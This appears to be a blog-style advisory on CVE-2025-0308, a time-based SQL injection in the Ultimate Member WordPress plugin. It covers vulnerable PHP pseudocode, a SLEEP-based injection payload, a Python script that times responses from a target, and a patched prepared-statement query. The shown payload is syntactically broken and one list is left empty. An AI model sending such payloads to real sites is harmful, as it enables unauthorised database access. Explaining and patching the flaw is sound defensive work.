CVE-2025-0308 - How a Simple Search Led to a Serious SQL Injection in Ultimate Member for WordPress

In early 2025, security researchers uncovered a critical vulnerability in one of WordPress’s most popular membership plugins: Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership. This vulnerability, tracked as CVE-2025-0308, affects Ultimate Member plugin versions up to and including 2.9.1. The flaw allows time-based SQL Injection in the search parameter, granting unauthenticated attackers the ability to interact with the database in unauthorized ways — even exposing sensitive user information. Let’s break down what happened, how it works, and what you can do about it.

Understanding the Vulnerability

SQL Injection is a critical web app vulnerability that allows an attacker to interfere with the queries an application makes to its database. In this case, the plugin didn’t properly escape or safely handle user input from the search parameter in its user listing interface.

Whenever a visitor tries to search the member directory, a request is made like this

GET /members/?search=John

The plugin would then take the value of search (John, in this case), and insert it directly into an SQL statement without enough sanitization or preparation. This is dangerous because a careful attacker can insert malicious SQL code instead of a simple search term, manipulating the behavior of the database.

The Vulnerable Code (Pseudocode)

// Vulnerable code (simplified example, for illustration)
$search = $_GET['search']; // direct user input, unescaped
// The SQL query is built unsafely
$sql = "SELECT * FROM wp_um_users WHERE display_name LIKE '%$search%'";
$results = $wpdb->get_results($sql);

Here, the $search term is directly interpolated into the SQL query without using prepared statements or adequate escaping.

Time-Based SQL Injection in Action

Time-based SQL Injection lets an attacker see if their malicious input is working, even if there is no obvious error or output. For example, attackers can submit input that makes the database "pause," and then watch for slow responses.

Suppose the website is running the vulnerable plugin. An attacker might send

GET /members/?search=' OR IF(1=1, SLEEP(5), ) -- -

- ' OR IF(1=1, SLEEP(5), ) -- - closes the string, then checks a condition. If true, pauses the database for 5 seconds. The rest -- - comments out anything else.

Below is a simple exploit demonstrating this behavior using Python

import requests
import time

# Target URL
url = "https://vulnerable-site.com/members/";
# Malicious payload
payload = "' OR IF(1=1, SLEEP(5), ) -- -"
params = {'search': payload}

start = time.time()
response = requests.get(url, params=params)
elapsed = time.time() - start

print(f"Response took {elapsed:.2f} seconds")
if elapsed > 5:
    print("Site appears vulnerable to time-based SQL injection!")
else:
    print("Site probably not vulnerable (or injection blocked).")

Real-World Impact

Because the search input is available to unauthenticated visitors, literally anyone who visits the website can execute the exploit if the site is not patched. This means:

Recommended Fixes & Countermeasures

- Update the Plugin Immediately: Upgrade Ultimate Member to version 2.9.2 or later where the issue is patched.

Use Prepared Statements: Always use $wpdb->prepare() for SQL queries involving user input.

- WAF/Firewall: Deploy a web application firewall that detects and blocks SQL injection attempts.

Example of a Safe Query

$search = $_GET['search'];
$sql = $wpdb->prepare(
    "SELECT * FROM wp_um_users WHERE display_name LIKE %s",
    '%' . $wpdb->esc_like($search) . '%'
);
$results = $wpdb->get_results($sql);

References & Further Reading

- WordPress Plugin Vulnerability Report – CVE-2025-0308
- Official Plugin Page – Ultimate Member
- OWASP SQL Injection

Conclusion

CVE-2025-0308 is a stark reminder that plugins with high privilege and a large install base are attractive targets for attackers. This time-based SQL injection in Ultimate Member could lead to disastrous data leaks and site takeovers if left unpatched. If you run this plugin, update now, and always validate and sanitize user input!

Stay secure — and always keep your WordPress plugins up to date.

Timeline

Published on: 01/18/2025 06:15:27 UTC
Last modified on: 02/25/2025 22:14:17 UTC